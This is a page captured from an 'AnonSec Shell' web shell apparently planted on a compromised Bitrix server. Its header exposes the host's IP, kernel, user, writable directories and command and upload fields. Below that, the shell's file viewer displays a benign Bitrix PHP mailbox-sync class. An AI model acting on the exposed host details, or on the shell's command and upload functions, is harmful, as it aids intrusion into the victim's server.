AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 18.216.142.2
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bitrix/www/bitrix/modules/mail/lib/helper/mailbox/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/bitrix/www/bitrix/modules/mail/lib/helper/mailbox/mailboxsyncmanager.php
<?php
namespace Bitrix\Mail\Helper\Mailbox;

use COption;
use Bitrix\Mail\MailboxTable;
use Bitrix\Main\Type\DateTime;
use Bitrix\Mail\Internals\MailEntityOptionsTable;
use Bitrix\Mail\MailFilterTable;
use Bitrix\Main\Loader;

class MailboxSyncManager
{
	private $userId;
	private $mailCheckInterval;

	public function __construct($userId)
	{
		$this->userId = $userId;
		$this->mailCheckInterval = COption::getOptionString('intranet', 'mail_check_period', 10) * 60;
	}

	public static function checkSyncWithCrm(int $mailboxId): bool
	{
		if (Loader::includeModule('crm'))
		{
			return (bool)MailFilterTable::getCount([
				'=MAILBOX_ID' => $mailboxId,
				'=ACTION_TYPE' => 'crm_imap',
			]);
		}

		return false;
	}

	public function getFailedToSyncMailboxes()
	{
		$mailboxes = [];
		$mailboxesSyncInfo = $this->getMailboxesSyncInfo();

		foreach ($mailboxesSyncInfo as $mailboxId => $lastMailCheckData)
		{
			if (!$lastMailCheckData['isSuccess'])
			{
				$mailboxes[$mailboxId] = $lastMailCheckData;
			}
		}
		return $mailboxes;
	}

	public function getSuccessSyncedMailboxes()
	{
		$mailboxesToSync = [];
		$mailboxesSyncInfo = $this->getMailboxesSyncInfo();

		foreach ($mailboxesSyncInfo as $mailboxId => $lastMailCheckData)
		{
			if ($lastMailCheckData['isSuccess'])
			{
				$mailboxesToSync[$mailboxId] = $lastMailCheckData;
			}
		}
		return $mailboxesToSync;
	}

	/*
	 *	It's time for synchronization for at least one mailbox.
	 */
	public function isMailNeedsToBeSynced()
	{
		return count($this->getNeedToBeSyncedMailboxes()) > 0;
	}

	/*
	 *	Returns mailboxes that are recommended to be synchronized.
	 */
	public function getNeedToBeSyncedMailboxes()
	{
		$mailboxesSyncData = $this->getSuccessSyncedMailboxes();
		$mailboxesToSync = [];
		foreach ($mailboxesSyncData as $mailboxId => $lastMailCheckData)
		{
			if ($lastMailCheckData['timeStarted'] >= 0 && (time() - intval($lastMailCheckData['timeStarted']) >= $this->mailCheckInterval))
			{
				$mailboxesToSync[$mailboxId] = $lastMailCheckData;
			}
		}
		return $mailboxesToSync;
	}

	public function getMailCheckInterval()
	{
		return $this->mailCheckInterval;
	}

	public function deleteSyncData($mailboxId)
	{
		$filter = [
			'=MAILBOX_ID' => $mailboxId,
			'=ENTITY_TYPE' => 'MAILBOX',
			'=ENTITY_ID' => $mailboxId,
			'=PROPERTY_NAME' => 'SYNC_STATUS',
		];

		return MailEntityOptionsTable::deleteList($filter);
	}

	public function setDefaultSyncData($mailboxId)
	{
		$this->saveSyncStatus($mailboxId, true, 0);
	}

	private function buildTimeForSyncStatus($time): int
	{
		if($time !== null && (int)$time >= 0)
		{
			return (int)$time;
		}

		return time();
	}

	public function setSyncStartedData($mailboxId, $time = null)
	{
		$this->saveSyncStatus($mailboxId, true, $this->buildTimeForSyncStatus($time));
	}

	public function setSyncStatus($mailboxId, $isSuccess, $time = null)
	{
		$this->saveSyncStatus($mailboxId, $isSuccess, $this->buildTimeForSyncStatus($time));
	}

	private function saveSyncStatus($mailboxID, $status, $date)
	{
		$filter = [
			'=MAILBOX_ID' => $mailboxID,
			'=ENTITY_TYPE' => 'MAILBOX',
			'=ENTITY_ID' => $mailboxID,
			'=PROPERTY_NAME' => 'SYNC_STATUS',
		];

		$keyRow = [
			'MAILBOX_ID' => $mailboxID,
			'ENTITY_TYPE' => 'MAILBOX',
			'ENTITY_ID' => $mailboxID,
			'PROPERTY_NAME' => 'SYNC_STATUS',
		];

		$fields = $keyRow;

		$fields['VALUE'] = $status;
		$fields['DATE_INSERT'] = DateTime::createFromTimestamp($date);

		if(MailEntityOptionsTable::getCount($filter))
		{
			MailEntityOptionsTable::update(
				$keyRow,
				[
					'DATE_INSERT' => $fields['DATE_INSERT'],
					'VALUE' => $fields['VALUE'],
				],
			);
		}
		else
		{
			MailEntityOptionsTable::add(
				$fields
			);
		}
	}

	public function getMailboxSyncInfo($mailboxID)
	{
		$dateLastOpening = \Bitrix\Mail\Internals\MailEntityOptionsTable::getList(
			[
				'select' => [
					'VALUE',
					'DATE_INSERT',
				],
				'filter' => [
					'=MAILBOX_ID' => $mailboxID,
					'=ENTITY_TYPE' => 'MAILBOX',
					'=ENTITY_ID' => $mailboxID,
					'=PROPERTY_NAME' => 'SYNC_STATUS',
				],
				'limit' => 1,
			]
		)->fetch();

		if(isset($dateLastOpening['VALUE']))
		{
			return [
				'isSuccess' => (bool)$dateLastOpening['VALUE'],
				'timeStarted' => $dateLastOpening['DATE_INSERT']->getTimestamp(),
			];
		}

		return false;
	}

	/**
	 * @return mixed
	 */
	public function getMailboxesSyncInfo()
	{
		$mailboxesSyncInfo = [];

		$userMailboxIds = array_keys(MailboxTable::getUserMailboxes());
		foreach ($userMailboxIds as $id)
		{
			$id = (int)$id;
			$mailboxSyncInfo = $this->getMailboxSyncInfo($id);
			if($mailboxSyncInfo !== false)
			{
				$mailboxesSyncInfo[$id] = $mailboxSyncInfo;
			}
		}
		return $mailboxesSyncInfo;
	}

	/**
	 * @deprecated Use \Bitrix\Mail\Helper\Mailbox\MailboxSyncManager::getTimeBeforeNextSync()
	 */
	public function getNextTimeToSync($lastMailCheckData)
	{
		return intval($lastMailCheckData['timeStarted']) + $this->mailCheckInterval - time();
	}

	/*
	 * Returns the time remaining until the required recommended mail synchronization.
	 * If it's time to synchronize, it will return 0.
	 */
	public function getTimeBeforeNextSync()
	{
		$mailboxesSuccessSynced = $this->getSuccessSyncedMailboxes();
		$timeBeforeNextSyncMailboxes = [];

		foreach ($mailboxesSuccessSynced as $mailboxId => $lastMailCheckData)
		{
			$timeBeforeNextSyncMailboxes[] = intval($lastMailCheckData['timeStarted']) + $this->mailCheckInterval - time();
		}

		return !empty($timeBeforeNextSyncMailboxes) && min($timeBeforeNextSyncMailboxes) > 0 ? min($timeBeforeNextSyncMailboxes) : 0;
	}

	/**
	 * @return null|int
	 */
	public function getFirstFailedToSyncMailboxId()
	{
		$mailboxesIdsFailedToSync = array_keys($this->getFailedToSyncMailboxes());
		return !empty($mailboxesIdsFailedToSync) && count($mailboxesIdsFailedToSync) > 0
			? (int)$mailboxesIdsFailedToSync[0]
			: null;
	}

	public function getLastMailboxSyncIsSuccessStatus($mailboxId)
	{
		$mailboxesOptions = $this->getMailboxesSyncInfo();
		if (!(isset($mailboxesOptions[$mailboxId]) && array_key_exists('isSuccess', $mailboxesOptions[$mailboxId])))
		{
			return null;
		}
		return $mailboxesOptions[$mailboxId]['isSuccess'];
	}

	public function getLastMailboxSyncTime($mailboxId)
	{
		$mailboxesOptions = $this->getMailboxesSyncInfo();
		if (!(isset($mailboxesOptions[$mailboxId]) && array_key_exists('timeStarted', $mailboxesOptions[$mailboxId])))
		{
			return null;
		}
		return $mailboxesOptions[$mailboxId]['timeStarted'];
	}
}

Anon7 - 2022
AnonSec Team